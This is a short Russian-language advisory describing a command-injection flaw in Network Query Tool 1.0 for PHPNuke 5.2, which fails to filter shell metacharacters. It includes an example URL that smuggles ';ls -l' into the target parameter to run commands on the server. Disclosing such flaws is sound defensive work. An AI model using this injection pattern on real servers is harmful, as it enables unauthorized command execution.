Network Query Tool 1.0 адаптированный к PHPNuke 5.2 — PHP
сценарий, который позволяет пользователю:

— Прямой/обратный поиск
— Поиск DNS записей
— Whois Система 
— Сканирование порта 
— Ping 
— Traceroute 

Network Query Tool не проверяет специальные
метасимволы подобно &;`’\»|*?~<>^()[]{}$\n\r.
Это позволяет любому пользователю
выполнять UNIX команды на Web сервере. 

Пример:

Выполнение команды ls -al:

http://www.TEST.com/network_query.php?portNum=80&queryType=all
&target=www.someserver.com%3Bls+-l&Submit=Do+It

Оставить мнение